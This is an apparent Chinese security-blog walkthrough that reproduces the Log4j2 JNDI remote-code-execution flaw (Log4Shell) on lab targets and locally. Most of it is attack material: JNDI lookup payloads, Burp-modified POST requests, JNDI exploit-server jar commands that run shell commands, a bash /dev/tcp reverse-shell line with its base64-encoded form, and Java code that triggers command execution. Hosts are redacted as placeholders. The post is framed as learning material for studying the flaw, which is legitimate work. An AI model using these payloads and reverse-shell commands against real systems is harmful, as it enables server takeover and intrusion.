Apache Log4j2 JNDI RCE
儒道易行 WEB安全 11015浏览 · 2021-12-17 02:31

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

Log4j漏洞在线登录框复现

环境是:
SpringBoot版本 2.6.1 log4j版本 2.14.1 java8
漏洞url:

http://x.x.x/

首页如下:

payload:

${jndi:ldap://x.x.x/exp}

漏洞利用:

漏洞证明:

Log4j漏洞在线传参复现

名称: Log4j2远程命令执行
描述: Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
漏洞利用:
访问url:

http://x.x.x/

首页如下:

burp抓包改成POST方式提交数据

POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

payload=${jndi: xxx}

漏洞证明:

Log4j漏洞在线执行命令复现

访问url:

http://x.x.x/

首页如下:

使用以下命令开一个jndi服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/abc" -A x.x.x.x

在 /tmp目录下新建abc文件

burp抓包改成POST方式提交数据

POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

payload=${jndi: xxx}

日志回显

在 /tmp目录下新建abc文件的命令成功执行

Log4j漏洞在线执行命令反弹shell复现(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)

访问url:

http://x.x.x/

首页如下:

使用以下命令开一个jndi服务

bash -i >& /dev/tcp/x.x.x/xxx 0>&1

需要编码为

bash -c {echo,xxx{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx{base64,-d}|{bash,-i}" -A x.x.x

反弹shell

burp抓包改成POST方式提交数据

POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

payload=${jndi: xxx}

日志回显

成功反弹回来shell

Log4j漏洞在线执行命令反弹shell复现(JNDIExploit-1.2-SNAPSHOT.jar)

访问url:

http://x.x.x/

首页如下:

使用以下命令开一个jndi服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x

bash -i >& /dev/tcp/x.x.x/xxx 0>&1

需要base64编码
+需要两次编码

burp抓包改成POST方式提交数据

POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

payload=${jndi: xxx}

日志回显

成功反弹回来shell

Log4j漏洞本地复现(参照Ysw师傅)

使用以下命令开一个jndi服务

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x

编写Log4jRCE.jar文件,将使用jndi服务执行开启计算机的命令写入

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://x.x.x.x/Basic/Command/calc}");
    }
}

使用idea编译将项目编译为jar之后

使用以下命令触发,或者直接双击打开

java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar

漏洞利用

漏洞证明:

2 条评论
某人
表情
可输入 255